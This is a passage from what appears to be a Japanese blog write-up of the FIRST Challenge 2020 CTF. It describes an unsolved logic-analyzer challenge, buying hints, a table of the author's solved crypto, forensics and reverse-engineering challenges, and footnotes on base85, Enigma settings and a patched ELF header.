0.483363333333333, 1, 0, 0, 0
0.483364000000000, 0, 0, 0, 0
0.483364333333333, 1, 0, 0, 0
0.483365000000000, 0, 0, 0, 0
0.483365333333333, 1, 0, 0, 0
・・・

メンバーと相談しても、誰も解けそうにない。

 

数時間が経過・・・。

 

20チームくらいが解いているので何かを見落としているのかも。

・・・ヒント、開きますか。

 

過去の CTF で点数の低いヒントは「それは知ってる」というものばかりだったので、開くなら最後から。

ということで開いた結果。

f:id:soji256:20200701222527p:plain:w340
ヒント 200

メンバ一同「??????」

 

Motorola S-recordは、モトローラによって作成されたファイル形式であり、

 

このヒントを活用できるところまでさえ到達していなかったという予想外の展開。

しばらく試行錯誤したものの、解けそうな気配がない。

 

ということで、もうひとつヒントを開く。

最後から2番目のヒント。

f:id:soji256:20200701222826p:plain:w340
ヒント 150

一同 「それはしってる!!!」

 

ヒントは決して期待に応えないということを噛み締めつつ、ふと得点を見ると

f:id:soji256:20200701223104p:plain:w440
減った点数

なんか減っている・・・!

 

よくよく CTF の説明文を読むと、ヒントは問題の獲得点数が減る方式ではなく、点数を払って買う方式とのこと。

なんと・・・。*17

この時点でまだ一つ目のヒントが残っていたが、あまり意味がなさそうと判断して開けないこととした。

その後、バイナリを縦読みすると実行可能形式になりそうな気配を感じるも、解くには至らず。

f:id:soji256:20200701223343p:plain:w440
バイナリ縦読み

結果、解けなかった。*18

 

CTF 終了後に1つ目のヒントを開いたところ。

出てきたのは、見つけていたツール「Saleaeのロジックアナライザソフトウェア 」の設定値。

f:id:soji256:20200701223413p:plain:w340
ヒント 100

これや・・・、

これが一番欲しかったヒントや・・・。

解答した問題一覧

チームではなく個人のものだけ掲載。

# Challenge Category Value Time
1 Decode This Crypto 100 June 23rd, 10:17:01 PM
2 Pinguoin forensics (1/7) Forensics 100 June 23rd, 10:48:08 PM
3 Pinguoin forensics (2/7) Forensics 100 June 23rd, 10:50:38 PM
4 Spourious File Misc 250 June 23rd, 11:11:34 PM
5 My Secret - part 1 Reverse Engineering 250 June 24th, 10:25:14 PM
6 My Secret - part 2 Reverse Engineering 100 June 24th, 10:35:52 PM
7 My Secret - part 3 Reverse Engineering 250 June 24th, 10:37:14 PM
8 Pinguoin forensics (3/7) Forensics 100 June 24th, 10:49:22 PM
9 Pinguoin forensics (4/7) Forensics 100 June 24th, 10:53:24 PM
10 Pinguoin forensics (5/7) Forensics 100 June 24th, 10:54:06 PM
11 Breaking the Code Crypto 250 June 25th, 1:06:28 AM
12 Breaking the Code - Bonus Crypto 250 June 25th, 1:57:41 AM
13 My Secret - part 4 Reverse Engineering 250 June 25th, 10:02:36 PM
14 My Secret - part 5 Reverse Engineering 100 June 25th, 10:04:53 PM
15 Challenge of the Challenges - Bonus Crypto 250 June 25th, 10:31:37 PM
16 x/2 Salad Crypto 250 June 25th, 11:07:21 PM
17 Pinguoin forensics (7/7) Forensics 100 June 26th, 12:14:01 AM
18 Decode This Other Crypto 100 June 26th, 3:29:51 AM

CTF のトップページ

ロゴが並んでいてかっこよい。

f:id:soji256:20200629224900p:plain
FIRST Challenge 2020

更新履歴

  • 2020/07/05 新規作成

*1:チーム名は Barry-kun-kawaii です。

*2:記号の読み方を初めて調べました。ずっとブランケットと呼んでいたのですがそれは毛布でした。

*3:実は最初に CyberChef で試した base85 でも解けていた問題でした。改行を入れたままではエラーになるので、改行を削除した状態の文字列を base85 としてデコードすればフラグが得られます。最初の時点ではエラーが出た時点で失敗という理解しかできず、結果、フラグゲットまでは遠回りになってしまいました。

*4:ソースコードは全体で2003行ほどありました。

*5:まったく規則性がない英字列(数字や記号が含まれていない)がそう見えるのかもしれません。

*6:すぐにエニグマの設定値と気づけない不思議。

*7:あとで確認したところ、M3 はエニグマの種別を示しており、3枚のローターを備えているものでした。また B は Reflector、アラビア数字はローターの種別と順番、J,T,V は各ローター初期値を意味しており、最後の数字はおそらくですがリング設定値というもののようでした。

*8:Flash が必要だが、こちらのツールでもうまくいく http://enigmaco.de/enigma/enigma.html

*9:あとで調べたところ、次のサイトに同じ画像と思われるものが掲載されていました。 https://www.101computing.net/enigma-daily-settings-generator/

*10:もしかすると、どの設定値が使われているか特定できる情報を見落としていたのかもしれません。更新日付とかかな。

*11:後でフラグが調整されたようなアナウンスがあったので、恐らく1文字欠けたフラグでも通るようになったのだと思います。

*12:単なる数字2桁は、文字列を復元したときに文章が終わり切っていなかったので気づきました。

*13:参考にしたサイト: https://kagasu.hatenablog.com/entry/2019/03/26/211203

*14:自分で作ったものではないのでプログラムは割愛します。

*15:ファイルの先頭部分をバイナリエディタで修正(0x454c4c (ELF) を 0x454c46 (ELF) に)してから実行しても同じフラグが得られます。

*16:機械的な総当りの試みによってログインに成功した、というシナリオが伺えます。

*17:問題を解いたときに得られる点数が減る方式しかしらなかったので、まさか今ある点数が減るとは思っていませんでした。説明をよく読もうねという問題を解いたあとにも関わらずこれというね。。。

*18:この問題の Writeup は次のリンクをご参照ください:https://www.first.org/resources/papers/ctf-jun2020/last4ofus.pdf